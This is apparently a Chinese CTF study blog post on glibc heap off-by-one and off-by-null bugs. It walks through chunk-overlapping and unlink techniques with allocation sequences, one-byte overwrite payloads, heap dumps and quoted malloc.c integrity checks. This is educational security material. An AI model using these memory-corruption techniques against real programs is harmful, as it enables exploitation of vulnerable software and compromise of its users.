heap exploitation巩固——堆中的off-by-one
heap exploitation巩固——堆中的off-by-one
(from:大能猫)
0x00 前言
off-by-one是一种堆溢出,从它的名字上来看就知道它只能够溢出一个字节。在之前很长的一段时间off-by-one漏洞被认为是不可利用的,不过这样的观点已经被打破,并且off-by-one也成为了一个危害性比较大的漏洞,就算只溢出了一个字节也可以改变堆快关系来达到利用的目的。
0x01 off-by-one漏洞的原理
off-by-one漏洞顾名思义,就是我们在向缓冲区写入数据的时候由于限制条件或边界验证的不严格,导致多写入一个字节导致缓冲区溢出一个字节。我们在CTF中常见的溢出方式有:
1、在遇到用strcpy函数将某个变量或常量的值写入堆内时,复制遇到结束符\x00停止,并且在复制结束的时候在结尾写入一个\x00。那么在读入的数据和堆快的最大存储内容大小相等的时候,就会向外溢出一个字节的“\x00”,从而形成off-by-one。
2、在向堆内循环写入的时候,没有控制好循环次数而导致多写入一字节的内容,导致off-by-one
3、在CTF中出题人故意写出的off-by-one漏洞。比如:size+1<=max_content_size
0x02 off-by-one漏洞的利用思路
off-by-one漏洞的利用方式是比较有限的(其实是本人水平有限),在CTF中我们比较常见的方式只有两种:
1、chunk overlapping
2、unlink
当在CTF比赛中遇到off-by-one漏洞利用方式可以向这两个方向上来靠一靠。
0x03 off-by-one漏洞的利用方式
0x031 利用obo进行chunk overlapping
chunk overlapping要求我们能对堆块的头部进行操作,要求能够溢出覆盖到堆块size中的第一个字节,主要目的是修改size中的prev_in_use位。然而off-by-one中也有一个特殊的溢出方式——off-by-null,只能够溢出一个NULL字节。这样的话obn就不如obo利用来的随意。
0x0311 利用obo进行overlapping
利用off-by-one 对 inuse 的 fastbin 进行 extend
具体来描述堆内情况的时候,我们使用add(),edit(),delete()来分别代表增删改功能
add(0x18) #0
add(0x10) #1
add(0x10) #2
这是堆内情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
因为堆块0的大小为0x18,因为堆块需要对齐,所以堆块0的后0x8个字节占用了堆块1的pre_size 域,这样我们就可以通过溢出一个字节来控制堆块1的size。
程序是存在off-by-one漏洞的,我们可以写比堆块大小多1个字节的内容,
edit(0,p64(0)*3+'\x41')
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000041 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
第二个堆块的size被改成了0x41,将堆块3包含了起来。我们将堆块1free掉之后,观察一下
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
发现程序已经将堆块1、2一齐free掉了,但是我们还可以对堆块2进行操作,读写等。
我们再执行malloc(0x30)会将堆块1、2一齐申请回来。我们就可以对堆块2的内容进行控制,如:进行Use After Free、fastbin attack等。
利用off-by-one 对 inuse 的 smallbin 进行 extend
add(0x18)#0
add(0x80)#1
add(0x10)#2
add(0x10)#3
堆块3用于防止合成的堆块与top chunk合并,非fastbin大小的堆块处于free状态下,如果与top chunk相邻则与其合并。
此时堆内状况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000091 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样的溢出方式,将堆块1的size大小修改为0xb1
edit(0,p64(0)*3+'\xb1')
堆块情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 00000000000000b1 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样是我们将堆块1free掉之后,是将堆块1、2同时放入了unsortedbin中
unsorted_bins[0]: fw=0x602000, bk=0x602000
Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)
add(0xa0)的时候就会将堆块1、2同时申请回来,以此控制堆块2的内容进行攻击。
拓展:
我们将堆快1先进行释放,将其放入unsortedbin中。
之后通过堆块0对堆块1的size进行修改为0xb1,再申请一个0xa0大小的堆块,同样会将堆块2一起申请出来,以此控制堆块2的内容。
利用off-by-one 通过 extend 后向 overlapping
这是在CTF中最常出现的overlapping利用手法
add(0x18)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x10)#4
此时堆内情况为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
同样的方法将堆块1的size修改为0x61,此时布局为:
0000000000000000 0000000000000021 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000061 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
free(1)之后,add(0x50)就可以同时控制堆块1、2、3。
利用off-by-one 通过 extend 前向 overlapping
add(0x80)#0
add(0x10)#1
add(0x18)#2
add(0x80)#3
add(0x10)#4
此时堆内状态为:
0000000000000000 0000000000000071 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
0000000000000000 0000000000000071 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
我们先把堆块0free掉
利用将堆块3的pre_size 域修改为0xb0,将size改为0x70,
0000000000000000 0000000000000071 <--0
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--1
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--2
0000000000000000 0000000000000000
00000000000000b0 0000000000000070 <--3
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000000
0000000000000000 0000000000000021 <--4
0000000000000000 0000000000000000
0000000000000000 0000000000201545 <--top chunk
0000000000000000 0000000000000000
0000000000000000 0000000000000000
然后我们将堆块3free掉,再申请一个大小为0x110的堆块,就可以控制堆块1和堆块2的内容。
利用了 smallbin 的 unlink 机制。
0x0312 利用obn进行overlapping
off-by-null的用处不如obo的方法多,主要的利用形式就是在通过 extend 后向 overlapping中。因为unlink机制有检测,所以利用obn将0x100整数倍的堆块的p标识位进行置0。
0x032 利用obo进行unlink
既然写到这了,就先顺带着稍微一提unlink的知识吧,之后会有一篇专门写unlink的文章。
简单的来说就是把一个双向链表中的空闲堆块拿出来,与其他物理相邻的free块进行合并。
通过源码的审计,帮助理解
/* consolidate backward */if (!prev_inuse(p)) {prevsize = prev_size (p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size whileconsolidating");unlink_chunk (av, p);}if (nextchunk != av->top) {/* get and clear inuse bit */nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/* consolidate forward */if (!nextinuse) {unlink_chunk (av, nextchunk);size += nextsize;} elseclear_inuse_bit_at_offset(nextchunk, 0);
可以从malloc源码中清晰的看出在_init_free函数中调用unlink_chunk函数对空闲块进行合并。有两种合并方式向后合并及向前合并,向后指的是物理上相邻的低地址的chunk,向前则是物理上相邻的高地址的chunk。跟进unlink_chunk函数:
unlink_chunk (mstate av, mchunkptr p){if(chunksize (p) != prev_size (next_chunk (p)))malloc_printerr ("corrupted size vs. prev_size");mchunkptr fd = p->fd;mchunkptr bk = p->bk;if(__builtin_expect (fd->bk != p || bk->fd != p, 0))malloc_printerr ("corrupted double-linked list");fd->bk = bk;bk->fd = fd;if(!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize !=NULL){if (p->fd_nextsize->bk_nextsize != p|| p->bk_nextsize->fd_nextsize != p)malloc_printerr ("corrupted double-linked list (not small)");if (fd->fd_nextsize == NULL){if (p->fd_nextsize == p)fd->fd_nextsize = fd->bk_nextsize = fd;else{fd->fd_nextsize =p->fd_nextsize;fd->bk_nextsize =p->bk_nextsize;p->fd_nextsize->bk_nextsize= fd;p->bk_nextsize->fd_nextsize= fd;}}else{p->fd_nextsize->bk_nextsize = p->bk_nextsize;p->bk_nextsize->fd_nextsize = p->fd_nextsize;}}}
整段代码其实并不难理解,最重要的就是我们需要通过源码中if的检测来进行unlink
我们需要的判断不过下面这两个:
1、判断要从双链表中脱链的的堆块的size有没有被篡改,如果一个低地址堆块的size与其物理相邻的高地址堆块的prev_size值不相等就会抛出错误。
if(chunksize (p) != prev_size (next_chunk (p)))
2、检查当前空闲堆块chunk的前一个chunk的bk是不是指向本身,或者是后一个堆快的fd有没有指向本身,如果不成立则抛出异常。
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
实践一下
写了个可以off-by-one的程序来demo一下
首先申请了3个堆块
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BwcW2kf1-1638761535595)(assets/image-20211205105232-alz4mte.png)]
我们在第二个堆快中去伪造一个chunk,然后通过obo修改第三个堆快的size部分,编辑prev_size的值为伪造chunk的大小,如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-euKdXELN-1638761535598)(assets/image-20211205105642-hpo7689.png)]
需要注意的是我们需要将前一个堆块使用的标识位设置为零,将fake chunk的fd设置为’目标低址-0x18’,将fake chunk的地址改为’目标地址-0x10’,这么做的目的就是:unlink在空闲链表中卸下chunk的时候检查前后的chunk是否指向的是其自身,然而fake chunk不在链表中所以我们将他指向自身就好,这样即可以绕过检查。
0x04 后记
算是一次pwn知识的总结吧。如果有错误还请大佬斧正。
0x05 参考链接
malloc源码:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
overlapping手法:https://ctf-wiki.org/
heap exploitation巩固——堆中的off-by-one相关推荐
- 11.JDK8内存模型、本地方法栈、虚拟机栈、栈帧结构(局部变量表、操作数栈、方法出口、虚拟机栈与本地方法栈的关系、寄存器、方法区、堆(Heap)、jvm中的常量池、Metaspace(元空间))
11.JDK8内存模型 11.1.本地方法栈(Native Method Stacks) 11.2.虚拟机栈(Java Virtual Machine Stacks) 11.3.栈帧结构 11.3.1 ...
- 值类型和引用类型在栈和堆中的分配
类型基础及背后的工作原理 数据在内存中的分配与传递 值类型和引用类型它们在内存分配与传递上的区别 内存分配 首先要了解一下内存中栈和堆的概念. 栈(Stack) ##栈是一种先进 ...
- python实现二叉堆中的大顶堆(大根堆)
堆(英语:heap)是计算机科学中一类特殊的数据结构的统称.堆通常是一个可以被看做一棵树的数组对象.堆总是满足下列性质: 堆中某个节点的值总是不大于或不小于其父节点的值: 堆总是一棵完全二叉树. 将根 ...
- 堆(Heap)大根堆、小根堆
目录 堆(Heap)大根堆.小根堆 1.堆的存储: 2.堆的操作:insert 3.堆的操作:Removemax 4.堆的操作:buildHeap 堆化数组 5.堆排序 堆(Heap)大根堆.小根堆 ...
- heap python_数据结构-堆(Heap) Python实现
堆(Heap)可以看成近似完全二叉树的数组,树中每个节点对应数组中一个元素.除了最底层之外,该树是完全充满的,最底层是从左到右填充的. 堆包括最大堆和最小堆:最大堆的每一个节点(除了根结点)的值不大于 ...
- .net/c#中栈和堆的区别及代码在栈和堆中的执行流程详解之一(转)
http://www.codingthink.com/c/20121223/201212231458171.html 原文出处: http://www.c-sharpcorner.com/Upload ...
- 对象可以在栈上分配空间吗?_Java面试题之:Java中所有的对象都分配在堆中吗?...
JVM中的内存划分暂不讨论,单说堆(Heap),堆中一般存放的是new出来的对象.但是,随着JIT(即时编译)编译器的发展与逃逸分析(Escape Analysis)技术逐渐成熟,栈上分配.标量替换优 ...
- GFlags调试堆中野指针
我个人觉得写代码最悲哀的就是,程序的出错结果往往出人意料,并不在自己预期的错误列表中,其中堆中的野指针就是一个很隐蔽的问题.记得之前写了一个模块,后来因为功能升级,而修改了部分接口,等到运行的时候,老 ...
- Java堆内存Heap与非堆内存Non-Heap简介和设置
Java 开发对JVM(Java虚拟机)的了解很有必要,网上看到,收集整理转载一下,方便日后的懒人计划 堆(Heap)和非堆(Non-heap)内存 按照官方的说法:"Java 虚拟机具有一 ...
- Java堆内存Heap与非堆内存Non-Heap
堆(Heap)和非堆(Non-heap)内存 按照官方的说法:"Java 虚拟机具有一个堆,堆是运行时数据区域,所有类实例和数组的内存均从此处分配.堆是在 Java 虚拟机启动时创建 ...
最新文章
- Scrum敏捷开发工具Leangoo
- 金融科技公司采用大数据领先银行的三种方式
- C++知识点19——使用C++标准库(再谈string——string的初始化、赋值、添加、删除、访问)
- android四大组件五大存储六大布局,物联网研报:物联网进入规模化应用时代
- CSS Expression用法总结
- Android AnimatedVectorDrawable
- 091118 T 数组的继承
- RIA 应用程序模式
- 解决服务器密码忘记,查看Xshell中已经保存的密码
- 为什么国外客户愿意把软件交给印度人来做?
- Elasticsearch nested嵌套类型
- 2014网络红人排行榜
- linux sox用法 播放,SoX——linux终端播放音频文件
- Android日历控件
- 常用指令linux总结
- 疾病研究:DMD及BMD的机理和临床表现(译稿)
- idea如何查看已安装的插件
- 红米note7支持html,红米Note 7
- 炸金花游戏(3)--基于EV(期望收益)的简单AI模型
- 在MyEclipse2016 中使用maven 部署项目到 tomcat中的步骤
热门文章
- 挑战练习13.6 删除crime 记录
- java中put是什么意思_关于java:请求参数和PUT方法
- 【ROS1】LeGO-LOAM-BOR简洁复现过程
- 一起学英语 - 前言
- java list 时间排序_Java collections.sort()根据时间排序list
- Javascript使用三大家族和事件来DIY动画效果相关笔记(四)
- Sqlmap全参数详解
- gre模考软件java.exe_【模考】GRE模考软件逆天版(考G神器)
- 《C语言程序设计》第4版 何钦铭、颜晖主编 课后习题答案 第4章 课后习题
- chm打开,显示“已取消到该网站的导航”